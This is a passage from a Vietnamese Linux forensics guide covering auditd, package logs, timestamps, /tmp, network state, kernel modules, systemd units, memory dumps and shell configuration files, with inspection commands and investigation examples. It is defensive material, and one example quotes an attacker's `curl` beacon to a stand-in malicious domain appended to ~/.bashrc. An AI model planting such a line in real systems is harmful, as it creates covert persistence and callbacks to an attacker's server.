BẰNG CHỨNG THU ĐƯỢC

Khoá backdoor SSH trái phép, bằng chứng di chuyển ngang sang host khác, và cấu hình SSH daemon bị nới lỏng có thể đã tạo điều kiện cho lần xâm nhập ban đầu.

✓ ƯU ĐIỂM

Một kỹ thuật persistence và di chuyển ngang rất phổ biến, nổi tiếng, dễ và nhanh để kiểm tra trên tất cả tài khoản.

! HẠN CHẾ

Không để lộ khoá riêng (chỉ kẻ tấn công giữ) nên bạn không thể chứng minh cụ thể ai đã kết nối, chỉ chứng minh cơ chế tồn tại; kẻ tấn công có thể ẩn mình bằng cách dùng chú thích trông đáng tin cho khoá được thêm vào.

VÍ DỤ THỰC TẾ

Một cuộc điều tra tìm thấy một khoá công khai lạ được nối vào `/root/.ssh/authorized_keys` với chú thích `'devops@company.com'` — bắt chước sát một danh tính trông hợp lệ nhưng không khớp với bất kỳ khoá nhân viên nào đã biết, xác nhận một *backdoor SSH*.

10

Log Auditd (/var/log/audit/audit.log)

LOG XÁC THỰC & HOẠT ĐỘNG

LÀ GÌ?

Linux Audit Daemon (auditd) là một phần hệ kiểm toán cấp kernel có thể ghi lại các sự kiện chi tiết theo luật như truy cập tệp, lời gọi hệ thống (system call) và việc thực thi lệnh — chi tiết hơn nhiều so với syslog thông thường.

VỊ TRÍ TRÊN HỆ THỐNG

/var/log/audit/audit.log, với các luật audit được cấu hình trong /etc/audit/audit.rules hoặc /etc/audit/rules.d/.

THÔNG TIN CHỨA ĐỰNG

Bản ghi chi tiết về system call (ví dụ `execve` khi thực thi tiến trình), sự kiện truy cập/chỉnh sửa tệp cho các tệp được giám sát, danh tính người dùng (kể cả UID thực sau khi leo thang đặc quyền), và toàn bộ dòng lệnh của các tiến trình đã thực thi.

VAI TRÒ TRONG ĐIỀU TRA PHÁP Y SỐ

Khi được cấu hình đúng, auditd cung cấp một số bằng chứng đáng tin cậy nhất trên Linux vì nó ghi log ở cấp kernel và theo dõi người dùng đăng nhập ban đầu ngay cả qua `su/sudo`, khiến kẻ tấn công rất khó che giấu danh tính thật.

VAI TRÒ TRONG DỊCH NGƯỢC / PHÂN TÍCH MÃ ĐỘC

Hữu ích để lần theo chính xác các sự kiện `execve()` cho thấy một binary độc hại được khởi chạy như thế nào, kèm đầy đủ tham số, thư mục làm việc và tiến trình cha — cực kỳ giá trị để tái dựng chuỗi thực thi trong phân tích động trên một host được giám sát.

CÁC BƯỚC KIỂM TRA CƠ BẢN

1. Kiểm tra auditd có đang chạy không: `systemctl status auditd`
2. Tìm sự kiện `execve` (thực thi tiến trình): `ausearch -m execve`
3. Tìm sự kiện truy cập một tệp được giám sát cụ thể: `ausearch -f /etc/passwd`
4. Tạo báo cáo tổng hợp dễ đọc: `aureport --summary`
5. Lọc theo khoảng thời gian: `ausearch -ts today`
6. Xem các luật audit hiện hành: `auditctl -l`

BẰNG CHỨNG THU ĐƯỢC

Bằng chứng cấp kernel về việc thực thi tiến trình kèm đầy đủ tham số dòng lệnh, sự kiện giám sát toàn vẹn (file integrity) trên các tệp quan trọng, và theo dõi danh tính người dùng đáng tin cậy ngay cả qua leo thang đặc quyền.

✓ ƯU ĐIỂM

Cực kỳ chi tiết và khó can thiệp so với log tầng người dùng, theo dõi được danh tính người dùng gốc thật, được dùng rộng rãi trong môi trường tuân thủ (PCI-DSS, chính phủ).

! HẠN CHẾ

Không được bật hoặc cấu hình đúng theo mặc định trên nhiều hệ thống, có thể sinh khối lượng log rất lớn đòi hỏi tinh chỉnh luật cẩn thận, và yêu cầu dịch vụ auditd đã chạy trước khi sự cố xảy ra.

VÍ DỤ THỰC TẾ

`ausearch -m execve` trong một cuộc điều tra để lộ một sự kiện thực thi tiến trình cho thấy người dùng 'webapp' (danh tính thật, dù kẻ tấn công dùng `sudo`) đã chạy `/tmp/.x/miner --config=pool.conf` — xác nhận cả binary độc hại lẫn tài khoản bị xâm nhập thật sự.

11

Log của Trình quản lý gói (Package Manager)

LOG HỆ THỐNG

LÀ GÌ?

Các log do trình quản lý gói phần mềm của hệ điều hành sinh ra, ghi lại mọi gói phần mềm được cài đặt, nâng cấp hoặc gỡ bỏ trên hệ thống.

VỊ TRÍ TRÊN HỆ THỐNG

/var/log/dpkg.log và /var/log/apt/history.log trên Debian/Ubuntu; /var/log/yum.log hoặc lịch sử cơ sở dữ liệu rpm (rpm -qa --last) trên RHEL/CentOS.

THÔNG TIN CHỨA ĐỰNG

Bản ghi có mốc thời gian về các hành động cài/nâng cấp/gỡ gói, tên và phiên bản gói, và (với apt) lệnh/người dùng nào đã kích hoạt hành động.

VAI TRÒ TRONG ĐIỀU TRA PHÁP Y SỐ

Hữu ích để xác định thời điểm kẻ tấn công cài thêm công cụ (ví dụ cài netcat, masscan, hay một gói rootkit) bằng chính trình quản lý gói của hệ thống, và để thiết lập bản chuẩn về phần mềm nào lẽ ra phải hiện diện hợp lệ.

VAI TRÒ TRONG DỊCH NGƯỢC / PHÂN TÍCH MÃ ĐỘC

Có thể giúp xác nhận một binary khả nghi tìm thấy trên đĩa có tương ứng với một gói được cài hợp lệ hay không (và do đó nhiều khả năng là lành tính), hay được thả vào ngoài quy trình quản lý gói bình thường (một chỉ dấu mạnh hơn về nguồn gốc độc hại).

CÁC BƯỚC KIỂM TRA CƠ BẢN

1. Xem hoạt động gói gần đây (Debian/Ubuntu): `tail -n 100 /var/log/dpkg.log`
2. Xem lịch sử lệnh apt: `cat /var/log/apt/history.log`
3. Xem các gói mới cài theo ngày (RHEL/CentOS): `rpm -qa --last | head -30`
4. Tìm việc cài các công cụ khả nghi cụ thể: `grep -i 'netcat\|nmap\|masscan' /var/log/dpkg.log`
5. Xác minh một binary có thuộc gói nó tự nhận không: `dpkg -S /path/to/binary` hoặc `rpm -qf /path/to/binary`
6. Đối chiếu mốc thời gian cài đặt với khung thời gian nghi ngờ bị xâm nhập.

BẢNG CHỨNG THU ĐƯỢC

Bảng chứng kẻ tấn công cài công cụ qua trình quản lý gói, dòng thời gian thay đổi phần mềm trên hệ thống, và xác minh liệu một binary có phải là tệp thuộc gói hợp lệ hay một thứ bị thả vào trái phép.

✓ ƯU ĐIỂM

Cung cấp lịch sử thay đổi phần mềm rõ ràng, có mốc thời gian; dễ truy vấn; giúp nhanh chóng phân biệt binary hệ thống hợp lệ với binary do kẻ tấn công cài vào.

! HẠN CHẾ

Chỉ ghi lại thay đổi thực hiện qua trình quản lý gói — kẻ tấn công tự biên dịch hoặc thả binary ngoài apt/yum/rpm sẽ không để lại dấu vết ở đây; log có thể bị kẻ tấn công quyền root xóa.

VÍ DỤ THỰC TẾ

dpkg.log cho thấy 'netcat-traditional' được cài lúc 03:02 sáng, chỉ vài phút trước khi *auth.log* ghi nhận một kết nối reverse shell — gợi ý mạnh rằng kẻ tấn công đã dùng trình quản lý gói để lấy công cụ nhằm mở rộng truy cập.

12

Siêu dữ liệu hệ thống tệp & Dấu thời gian MACB

ARTIFACT HỆ THỐNG TỆP

LÀ GÌ?

Mọi tệp trên hệ thống tệp Linux mang các dấu thời gian siêu dữ liệu — thường gọi là bộ thời gian MACB: Modified (nội dung thay đổi), Accessed (tệp được đọc), Changed (siêu dữ liệu/inode thay đổi), và Birth/created (thời điểm tạo, khi hệ thống tệp hỗ trợ, ví dụ ext4 với ctime).

VỊ TRÍ TRÊN HỆ THỐNG

Lưu trong cấu trúc inode của hệ thống tệp cho mỗi tệp; xem qua lệnh `stat` hoặc trích xuất hàng loạt bằng công cụ điều tra như 'fls' (The Sleuth Kit) hay 'debugfs' cho các hệ thống tệp họ ext.

THÔNG TIN CHỨA ĐỰNG

Dấu thời gian chính xác cho lần cuối nội dung tệp bị chỉnh sửa, lần cuối tệp được truy cập, lần cuối siêu dữ liệu inode thay đổi, và (tuỳ hệ thống tệp) thời điểm tệp được tạo lần đầu.

VAI TRÒ TRONG ĐIỀU TRA PHÁP Y SỞ

Dấu thời gian MACB là trọng tâm để dựng dòng thời gian tấn công — cho thấy chính xác khi nào một tệp độc hại được thả xuống, thực thi lần cuối, hoặc bị đổi quyền, và giúp phát hiện 'timestomping' (kẻ tấn công cố ý đặt lại dấu thời gian để hoà lẫn với các tệp hợp lệ).

VAI TRÒ TRONG DỊCH NGƯỢC / PHÂN TÍCH MÃ ĐỘC

Giúp chuyên gia dịch ngược và phân tích thiết lập dòng thời gian triển khai của một mẫu mã độc so với các tệp khác trên đĩa, và cụ thể dấu thời gian Changed (ctime) khó bị kẻ tấn công giả mạo thuyết phục hơn, khiến nó có giá trị để phát hiện timestomping.

CÁC BƯỚC KIỂM TRA CƠ BẢN

1. Xem dấu thời gian của một tệp: `stat /path/to/suspicious_file`
2. So sánh ctime với mtime của tệp — không khớp (ctime mới hơn mtime) có thể chỉ ra timestomping.
3. Để dựng dòng thời gian hàng loạt, dùng fls của The Sleuth Kit trên một disk image: `fls -r -m / image.dd > bodyfile`
4. Chuyển bodyfile thành dòng thời gian đầy đủ với mactime: `mactime -b bodyfile -d > timeline.csv`
5. Sắp xếp và lọc dòng thời gian quanh khung sự cố nghi ngờ.
6. Đối chiếu dấu thời gian tệp với mốc thời gian trong log (auth.log, auditd) để củng cố bằng chứng.

BẢNG CHỨNG THU ĐƯỢC

Dòng thời gian tạo/chỉnh sửa/truy cập tệp chính xác, bằng chứng timestomping chống điều tra, và dữ liệu dòng thời gian bổ trợ để xác nhận hoặc bác bỏ các bằng chứng khác dựa trên log.

✓ ƯU ĐIỂM

Có sẵn cho mọi tệp trên hệ thống, là nền tảng cho gần như mọi phân tích điều tra dựa trên dòng thời gian, được hỗ trợ bởi bộ công cụ trưởng thành (The Sleuth Kit).

! HẠN CHẾ

Dấu thời gian có thể bị kẻ tấn công cố ý thao túng bằng công cụ như 'touch'; thời gian truy cập (atime) thường bị tắt hoặc giới hạn bởi tuỳ chọn mount (noatime/relatime) vì hiệu năng trên nhiều hệ thống hiện đại.

VÍ DỤ THỰC TẾ

Một binary mã độc bị thả vào có thời gian chỉnh sửa (mtime) sáu tháng trước — trông có vẻ cũ — nhưng thời gian đổi inode (ctime) lại là hôm qua, để lộ rằng kẻ tấn công đã dùng 'touch' để làm giả mtime nhưng quên che luôn ctime, phơi bày nỗ lực timestomping.

13

Thư mục /tmp và /var/tmp

ARTIFACT HỆ THỐNG TỆP

LÀ GÌ?

Các thư mục tạm được ghi bởi mọi người dùng (world-writable), dùng để lưu tệp tồn tại ngắn hạn. Vì gần như bất kỳ ai cũng có thể ghi vào đây, chúng là một trong những vị trí phổ biến nhất kẻ tấn công dùng để dàn dựng công cụ và payload đã tải về.

VỊ TRÍ TRÊN HỆ THỐNG

/tmp (thường bị xóa khi khởi động lại hoặc bởi tác vụ dọn dẹp định kỳ) và /var/tmp (thường tồn tại qua các lần khởi động lại, dành cho tệp tạm sống lâu hơn).

THÔNG TIN CHỨA ĐỰNG

Bất kỳ tệp nào tiến trình hay người dùng chọn ghi vào — thường là binary mã độc tải về, kho lưu trữ (archive) chuẩn bị đánh cắp dữ liệu, script bị thả vào, và named pipe/socket do công cụ độc hại dùng.

VAI TRÒ TRONG ĐIỀU TRA PHÁP Y SỐ

Điều tra viên luôn kiểm tra các thư mục này trước tiên khi săn tìm mã độc bị thả vào, vì quyền world-writable khiến chúng là con đường ít trở ngại nhất để kẻ tấn công không có đặc quyền cao dàn dựng tệp.

VAI TRÒ TRONG DỊCH NGƯỜC / PHÂN TÍCH MÃ ĐỘC

Thường là chính xác nơi có thể khôi phục mẫu mã độc gốc (đôi khi vẫn còn hiện diện) hoặc script tải về để phân tích tĩnh và động, cùng với mọi tệp cấu hình hay payload phụ được dàn dựng bên cạnh.

CÁC BƯỚC KIỂM TRA CƠ BẢN

1. Liệt kê nội dung kèm dấu thời gian: `ls -la /tmp /var/tmp`
2. Sắp xếp theo thời gian chỉnh sửa để phát hiện tệp mới tạo: `ls -lat /tmp | head -20`
3. Kiểm tra tệp/thư mục ẩn (tên bắt đầu bằng dấu chấm mà kẻ tấn công dùng để giấu): `ls -la /tmp | grep '^\.'`
4. Kiểm tra loại tệp bất kể phần mở rộng: `file /tmp/suspicious_item`
5. Tính giá trị băm cho các mẫu tìm thấy: `sha256sum /tmp/suspicious_item`
6. Bảo toàn bản sao của mọi phát hiện trước khi hệ thống thay đổi thêm, phục vụ chuỗi hành trình chứng cứ (chain of custody).

BẢNG CHỨNG THU ĐƯỢC

Binary và script mã độc được khôi phục, kho lưu trữ chuẩn bị đánh cắp dữ liệu, tệp cấu hình bị thả vào, và dấu thời gian cho biết khi nào kẻ tấn công dàn dựng công cụ.

✓ ƯU ĐIỂM

Một vị trí rất phổ biến và dễ đoán để kiểm tra trước tiên, thường cho ra trực tiếp mẫu mã độc thay vì chỉ bằng chứng gián tiếp, không cần công cụ đặc biệt để kiểm tra.

! HẠN CHẾ

/tmp thường bị xóa tự động khi khởi động lại (bởi tmpwatch/systemd-tmpfiles hoặc đơn giản vì là hệ thống tệp tmpfs nằm trên RAM), nên bằng chứng ở đây có thể tồn tại rất ngắn nếu không thu thập nhanh.

VÍ DỤ THỰC TẾ

Điều tra viên tìm thấy một thư mục ẩn /tmp/.ICE-unix-cache chứa một binary ELF và một tệp config.json

với địa chỉ IP C2 được ghi cứng — cả hai đều có thể khôi phục ngay làm bằng chứng mã độc chính cho phân tích tĩnh và động.

14

Cấu hình mạng & Kết nối đang hoạt động

ARTIFACT MẠNG

LÀ GÌ?

Artifact mạng bao gồm cả cấu hình tĩnh (thiết lập DNS, tệp hosts, luật tường lửa) lẫn trạng thái kết nối trực tiếp (các socket TCP/UDP đang hoạt động và gần đây), cho ta bức tranh về cách hệ thống liên lạc với các host khác.

VỊ TRÍ TRÊN HỆ THỐNG

/etc/hosts (ánh xạ hostname tĩnh), /etc/resolv.conf (máy chủ DNS), /proc/net/tcp và /proc/net/udp (trạng thái kết nối trực tiếp, xem dễ hơn qua 'ss' hoặc 'netstat'), và luật tường lửa qua iptables-save hoặc nft list ruleset.

THÔNG TIN CHỨA ĐỰNG

Địa chỉ IP và cổng cục bộ lẫn từ xa của các kết nối đang hoạt động, các dịch vụ đang lắng nghe, cấu hình bộ phân giải DNS, ánh xạ hostname thêm thủ công, và luật cho phép/chặn của tường lửa.

VAI TRÒ TRONG ĐIỀU TRA PHÁP Y SỐ

Để lộ kết nối máy chủ điều khiển (C2), cổng backdoor đang lắng nghe trái phép, các mục /etc/hosts bị đầu độc thủ công (ví dụ chuyển hướng một tên miền hợp lệ sang IP độc hại), và các thay đổi luật tường lửa mở đường truy cập cho kẻ tấn công.

VAI TRÒ TRONG DỊCH NGƯỢC / PHÂN TÍCH MÃ ĐỘC

Dữ liệu kết nối trực tiếp thu được khi một mẫu mã độc đang chạy trong sandbox cho thấy chính xác nó liên lạc với IP/tên miền/cổng nào, điều thiết yếu để trích xuất các chỉ dấu xâm nhập (IOC) mạng trong phân tích động.

CÁC BƯỚC KIỂM TRA CƠ BẢN

1. Liệt kê kết nối đang hoạt động kèm thông tin tiến trình: `ss -tulpn`
2. Kiểm tra riêng các cổng đang lắng nghe: `ss -tlnp`
3. Rà tệp hosts tìm dấu hiệu can thiệp: `cat /etc/hosts`
4. Rà cấu hình DNS: `cat /etc/resolv.conf`
5. Rà luật tường lửa hiện hành: `iptables-save` hoặc `nft list ruleset`
6. Bắt lưu lượng trực tiếp để phân tích sâu nếu cần: `tcpdump -i any -w capture.pcap`

BẢNG CHỨNG THU ĐƯỢC

Kết nối độc hại đang hoạt động và cổng backdoor đang lắng nghe, chiếm quyền DNS qua can thiệp tệp hosts, luật tường lửa được mở để cho phép kẻ tấn công truy cập, và các IOC mạng (IP, tên miền, cổng) cho tình báo mối đe dọa.

✓ ƯU ĐIỂM

Phơi bày trực tiếp hoạt động mạng độc hại đang sống, ss/netstat không cần công cụ đặc biệt và có trên gần như mọi hệ thống, kiểm tra cấu hình tường lửa và DNS nhanh gọn.

! HẠN CHẾ

Dữ liệu kết nối trực tiếp dễ mất và biến mất khi tiến trình kết thúc hoặc hệ thống khởi động lại; mã độc tinh vi có thể dùng domain-fronting hoặc C2 mã hoá/đường hầm hoà lẫn với lưu lượng hợp lệ.

VÍ DỤ THỰC TẾ

Chạy `ss -tulpn` để lộ một tiến trình bất ngờ đang lắng nghe trên cổng 4444 gắn với mọi interface, và /etc/hosts cho thấy 'windowsupdate.com' bị chuyển hướng sang một IP trông có vẻ nội bộ — cả hai chỉ ra một backdoor đang hoạt động và một nỗ lực chặn kiểu man-in-the-middle.

15

Kernel Module đã nạp

ARTIFACT ROOTKIT / PERSISTENCE

LÀ GÌ?

Kernel module là các đoạn mã có thể nạp động vào kernel Linux để mở rộng chức năng của nó (ví dụ driver thiết bị). Kernel module độc hại (rootkit dạng LKM) là một cách mạnh và kín đáo để kẻ tấn công ẩn tiến trình, tệp và kết nối mạng khỏi các công cụ kiểm tra thông thường.

VỊ TRÍ TRÊN HỆ THỐNG

Liệt kê trực tiếp qua `lsmod` hoặc `/proc/modules`; bản thân tệp module thường nằm dưới `/lib/modules/$(uname -r)/` hoặc được nạp từ một đường dẫn tùy ý; cấu hình tự nạp trong `/etc/modules` hoặc `/etc/modprobe.d/`.

THÔNG TIN CHỨA ĐỰNG

Tên các kernel module đang được nạp, kích thước bộ nhớ của chúng, quan hệ phụ thuộc giữa các module, và (trên đĩa) chính các tệp module `.ko` đã biên dịch.

VAI TRÒ TRONG ĐIỀU TRA PHÁP Y SỞ

Vì một kernel module độc hại có thể hook các system call để ẩn tệp, tiến trình và kết nối khỏi các công cụ như `ps`, `ls` và `netstat`, việc kiểm tra các module lạ hoặc mới nạp là thiết yếu bất cứ khi nào nghi ngờ bị xâm nhập sâu ở cấp rootkit.

VAI TRÒ TRONG DỊCH NGƯỢC / PHÂN TÍCH MÃ ĐỘC

Các tệp module `.ko` khả nghi khôi phục từ đĩa có thể được dịch ngược (thường bằng Ghidra, vốn hỗ trợ phân tích kernel module) để hiểu chính xác rootkit hook và ẩn những gì, tiết lộ toàn bộ khả năng che giấu và backdoor của nó.

CÁC BƯỚC KIỂM TRA CƠ BẢN

1. Liệt kê module đang nạp: `lsmod`
2. Đối chiếu tên module với các module đã biết/dự kiến cho phần cứng và kernel của hệ thống.
3. Tìm các module không nằm dưới đường dẫn `/lib/modules` chuẩn: `find / -name '*.ko' -newer /etc/hostname`
4. Rà cấu hình tự nạp tìm mục lạ: `cat /etc/modules; ls /etc/modprobe.d/`
5. Nếu nghi ngờ rootkit, cân nhắc khởi động từ phương tiện live/ngoài đáng tin để kiểm tra đĩa mà không phải tin vào kernel đang chạy (có thể đã bị hook).
6. Dùng trình quét rootkit chuyên dụng (ví dụ `chkrootkit`, `rkhunter`) làm bước kiểm tra tự động ban đầu, nhưng hiểu rằng chúng có thể bị rootkit tiên tiến né tránh.

BẢNG CHỨNG THU ĐƯỢC

Sự hiện diện của một kernel module độc hại hoặc lạ, bằng chứng hook system call dùng để ẩn tệp/tiến trình/kết nối, và (sau khi trích xuất) toàn bộ chức năng che giấu/backdoor của rootkit qua việc dịch ngược tệp `.ko`.

✓ ƯU ĐIỂM

Rootkit cấp kernel tương đối hiếm so với mã độc tầng người dùng, nên tìm thấy một cái là phát hiện quan trọng và giá trị cao; việc liệt kê module nhanh chóng.

! HẠN CHẾ

Một rootkit đủ tiên tiến có thể tự ẩn module của chính nó khỏi `lsmod` và `/proc/modules`, nghĩa là một cuộc kiểm tra thật sự đáng tin thường đòi hỏi phân tích đĩa ngoại tuyến/ngoài thay vì tin vào kernel đang chạy có khả năng đã bị xâm nhập.

VÍ DỤ THỰC TẾ

Ismod trên một máy chủ nghi ngờ cho thấy một module tên 'nfsd_helper' không khớp với bất kỳ module nào đi kèm phiên bản kernel đã cài; trích xuất và phân tích tệp .ko trong Ghidra để lộ rằng nó hook system call getdents64 nhằm ẩn các tệp có tên bắt đầu bằng một tiền tố được chọn.

16

Tập Service / Unit của systemd

ARTIFACT DUY TRÌ TRUY CẬP (PERSISTENCE)

LÀ GÌ?

Tập unit định nghĩa các dịch vụ, timer và unit khác được systemd quản lý — hệ thống init và trình quản lý dịch vụ của hầu hết bản phân phối Linux hiện đại. Kẻ tấn công thường tạo các tập unit độc hại để đạt được sự thực thi payload bền vững, tự khởi động lại.

VỊ TRÍ TRÊN HỆ THỐNG

/etc/systemd/system/ (unit do quản trị/cài cục bộ, ưu tiên cao nhất), /usr/lib/systemd/system/ (unit do gói cài đặt), và /run/systemd/system/ (unit chỉ tồn tại lúc chạy).

THÔNG TIN CHỨA ĐỰNG

Định nghĩa dịch vụ gồm lệnh chính xác cần thực thi (ExecStart), người dùng nó chạy dưới danh nghĩa, chính sách khởi động lại (ví dụ Restart=always để tăng độ bền), và trạng thái bật (có tự khởi động lúc boot hay không).

VAI TRÒ TRONG ĐIỀU TRA PHÁP Y SỞ

Một kỹ thuật persistence hiện đại rất phổ biến là tạo một dịch vụ systemd nguy trang (với cái tên vô hại) tự khởi chạy lại mã độc mỗi lần boot và thậm chí khởi động lại nếu bị kết thúc, khiến nó bền hơn một cron job đơn giản.

VAI TRÒ TRONG DỊCH NGƯỢC / PHÂN TÍCH MÃ ĐỘC

Dòng ExecStart để lộ chính xác lệnh và tham số dùng để khởi chạy payload độc hại, thường trỏ thẳng tới vị trí của binary mã độc trên đĩa để thu thập và phân tích tĩnh/động thêm.

CÁC BƯỚC KIỂM TRA CƠ BẢN

1. Liệt kê mọi dịch vụ được bật: `systemctl list-unit-files --state=enabled`
2. Liệt kê các dịch vụ đang chạy: `systemctl list-units --type=service --state=running`
3. Rà một tập unit khả nghi cụ thể: `cat /etc/systemd/system/suspicious.service`
4. Kiểm tra các tập unit mới tạo/chỉnh sửa gần đây: `find /etc/systemd/system -newer /etc/hostname`
5. Kiểm tra trạng thái thực tế và output log gần đây của dịch vụ: `systemctl status suspicious.service`
6. Vô hiệu hoá và mask một dịch vụ đã xác nhận độc hại để ngăn chặn: `systemctl disable --now suspicious.service && systemctl mask suspicious.service`

BẢNG CHỨNG THU ĐƯỢC

Cấu hình persistence cho thấy chính xác dòng lệnh độc hại, chính sách khởi động lại/độ bền, ngữ cảnh người dùng thực thi, và trạng thái bật xác nhận tự khởi động lúc boot.

✓ ƯU ĐIỂM

Văn bản thuần và dễ đọc khi đã tìm thấy, systemctl cung cấp lệnh liệt kê rõ ràng, để lộ trực tiếp toàn bộ dòng lệnh thực thi.

! HẠN CHẾ

Cần rà nhiều thư mục và so sánh với bản chuẩn để phát hiện phần thêm vào giữa nhiều dịch vụ hợp lệ; kẻ tấn công có thể chọn tên dịch vụ thuyết phục để hoà lẫn với dịch vụ hệ thống thật.

VÍ DỤ THỰC TẾ

Một tập unit tên 'network-helper.service' được tìm thấy trong /etc/systemd/system/ với ExecStart=/usr/bin/python3 /opt/.cache/update.py và Restart=always — để lộ một cơ chế persistence bằng Python bền bỉ, tự khởi động lại, nguy trang thành một tiện ích mạng.

17

Memory Dump & /proc/kcore

ĐIỀU TRA BỘ NHỚ / DỮ LIỆU DỄ MẤT

LÀ GÌ?

Memory dump là một bản sao đầy đủ (hoặc có mục tiêu) nội dung RAM của hệ thống Linux, được thu thập trực tiếp bằng công cụ như LiME (Linux Memory Extractor) hoặc truy cập ở mức giới hạn qua tệp giả đặc biệt `/proc/kcore`, sau đó phân tích ngoại tuyến.

VỊ TRÍ TRÊN HỆ THỐNG

Thu thập trực tiếp từ RAM của hệ thống đang chạy bằng LiME (kernel module) hoặc AVML, lưu ra một tệp bên ngoài (ví dụ qua một đĩa riêng hoặc chia sẻ mạng); `/proc/kcore` cung cấp góc nhìn trực tiếp, tức thời vào bộ nhớ kernel khi hệ thống đang chạy.

THÔNG TIN CHỨA Đựng

Toàn bộ trạng thái runtime của hệ thống tại thời điểm thu thập: mọi bộ nhớ tiến trình (kể cả mã độc đã giải mã/giải nén chưa từng chạm đĩa), trạng thái kết nối mạng, các file handle đang mở, và các cấu trúc dữ liệu kernel.

VAI TRÒ TRONG ĐIỀU TRA PHÁP Y SỔ

Thiết yếu để điều tra mã độc fileless, payload chỉ tồn tại trong bộ nhớ, và rootkit ẩn mình khỏi cả kiểm tra dựa trên đĩa lẫn dựa trên `/proc`, vì một ảnh bộ nhớ được thu thập đúng cách phản ánh trạng thái thật của kernel tại thời điểm thu nhận.

VAI TRÒ TRONG DỊCH NGƯỢC / PHÂN TÍCH MÃ ĐỘC

Nhà phân tích dùng các framework như Volatility (với profile/symbol Linux) trên memory dump để trích xuất danh sách tiến trình, kết nối mạng, và — quan trọng nhất — carve và dump mã độc đã giải nén/giải mã trực tiếp từ bộ nhớ để phân tích tĩnh.

CÁC BƯỚC KIỂM TRA CƠ BẢN

1. Biên dịch/nạp kernel module LiME khớp chính xác với phiên bản kernel đang chạy.
2. Thu bộ nhớ ra một đích bên ngoài: `insmod lime.ko 'path=/mnt/external/memory.lime format=lime'`
3. Xác minh việc thu thập đã hoàn tất và tính giá trị băm của tệp kết quả cho chuỗi hành trình chứng cứ.
4. Phân tích ngoại tuyến bằng Volatility 3 với bảng symbol Linux phù hợp: `vol -f memory.lime linux.pslist`
5. Trích xuất kết nối mạng: `vol -f memory.lime linux.netstat`
6. Carve vùng bộ nhớ của một tiến trình khả nghi cụ thể để phân tích tĩnh sâu hơn mã đã khôi phục.

BẢNG CHỨNG THU ĐƯỢC

Trạng thái tiến trình và mạng runtime đầy đủ, mã độc fileless/trong bộ nhớ được khôi phục, khoá mã hoá và thông tin đăng nhập vẫn còn trong RAM, và artifact rootkit vô hình với điều tra chỉ dựa trên đĩa.

✓ ƯU ĐIỂM

Cách đáng tin duy nhất để bắt được mã độc thật sự fileless và trạng thái thực của một kernel có khả năng bị rootkit; bảo toàn bằng chứng dễ mất mà nếu không sẽ mất khi khởi động lại.

! HẠN CHẾ

Phải thu thập trực tiếp, trước khi hệ thống khởi động lại hoặc tắt nguồn, đòi hỏi hành động nhanh; việc thu bộ nhớ tự nó cũng làm thay đổi nhẹ trạng thái hệ thống; phân tích cần công cụ chuyên dụng (Volatility) và khớp symbol kernel đúng, điều có thể khó về mặt kỹ thuật.

VÍ DỤ THỰC TẾ

Một web server có dấu hiệu rõ ràng bị xâm nhập nhưng không có tệp độc hại nào tồn tại ở bất cứ đâu trên đĩa; một bản thu bộ nhớ LiME phân tích trong Volatility để lộ một tiến trình không có tệp tương ứng trên đĩa và một vùng bộ nhớ được tiêm chứa một payload đào tiền mã hoá đã giải mã hoàn toàn — bằng chứng của một cuộc tấn công thuần trong bộ nhớ.

18

Tập cấu hình Shell

ARTIFACT DUY TRÌ TRUY CẬP (PERSISTENCE)

LÀ GÌ?

Tập khởi động/cấu hình shell là các script tự động thực thi mỗi khi người dùng mở một phiên shell mới hoặc đăng nhập, khiến chúng là vị trí hấp dẫn và kín đáo để kẻ tấn công cài persistence chạy mỗi lần nạn nhân (hoặc root) mở terminal.

VỊ TRÍ TRÊN HỆ THỐNG

Tập theo người dùng như `~/.bashrc`, `~/.bash_profile`, `~/.profile`, `~/.bash_login`; và tập toàn hệ thống như `/etc/profile`, `/etc/bash.bashrc`, cùng các script dưới `/etc/profile.d/`.

THÔNG TIN CHỨA ĐỰNG

Alias shell, định nghĩa biến môi trường (kể cả chỉnh sửa PATH), và bất kỳ lệnh tùy ý nào tác giả tập chọn đưa vào, được thực thi tự động lúc khởi động shell hoặc đăng nhập.

VAI TRÒ TRONG ĐIỀU TRA PHÁP Y SỐ

Điều tra viên rà các tập này tìm những lệnh độc hại được nối thêm (thường đặt ở cuối tập để không phá vỡ chức năng shell bình thường) nhằm khởi chạy lại mã độc, đánh cắp dữ liệu, hoặc bắt thông tin đăng nhập mỗi lần người dùng mở terminal hoặc đăng nhập.

VAI TRÒ TRONG DỊCH NGƯỢC / PHÂN TÍCH MÃ ĐỘC

Một kỹ thuật phổ biến là chiếm quyền PATH (PATH hijack) — kẻ tấn công thêm một thư mục độc hại vào đầu biến PATH trong tập cấu hình shell, khiến một phiên bản giả của lệnh thông dụng (như 'ls' hay 'sudo') chạy thay cho lệnh thật; khôi phục và phân tích binary giả đó là một tác vụ dịch ngược trực tiếp.

CÁC BƯỚC KIỂM TRA CƠ BẢN

1. Rà từng tập liên quan tìm nội dung bất thường: `cat ~/.bashrc ~/.bash_profile ~/.profile`
2. Chú ý đặc biệt phần cuối mỗi tập, nơi kẻ tấn công thường nối thêm dòng độc hại.
3. Kiểm tra chỉnh sửa PATH: `grep 'PATH=' ~/.bashrc /etc/profile /etc/profile.d/*`
4. Kiểm tra cả tập toàn hệ thống: `cat /etc/profile /etc/bash.bashrc`
5. So sánh với bản chuẩn đã biết nếu có (ví dụ từ bản cài mới hoặc hệ thống quản lý cấu hình).
6. Nếu tìm thấy PATH hijack, định vị và khôi phục binary độc hại đặt trong thư mục bị chiếm để phân tích.

BẢNG CHỨNG THU ĐƯỢC

Việc thực thi lệnh dai dẳng được kích hoạt mỗi lần đăng nhập/mở phiên shell, các tiện ích hệ thống giả bị PATH hijack, script bọc (wrapper) bắt thông tin đăng nhập, và trigger backdoor dựa trên biến môi trường.

✓ ƯU ĐIỂM

Một kỹ thuật persistence kinh điển, được tài liệu hoá rõ, dễ kiểm tra khi đã biết các vị trí tập chuẩn; thường để lộ trực tiếp lệnh độc hại ở dạng văn bản thuần.

! HẠN CHẾ

Cần rà nhiều tập riêng lẻ ở cả vị trí người dùng lẫn toàn hệ thống mới đầy đủ; những dòng thêm tinh vi chỉ một dòng dễ bị bỏ sót trong một tập cấu hình lớn nếu không có bản chuẩn để so sánh.

VÍ DỤ THỰC TẾ

Rà soát `~/.bashrc` phát hiện một dòng duy nhất được nối vào cuối: `(curl -s http://malicious-domain/beacon &)` — âm thầm khởi chạy một callback nền tới máy chủ của kẻ tấn công mỗi lần người

dùng bị xâm nhập mở một phiên terminal mới.

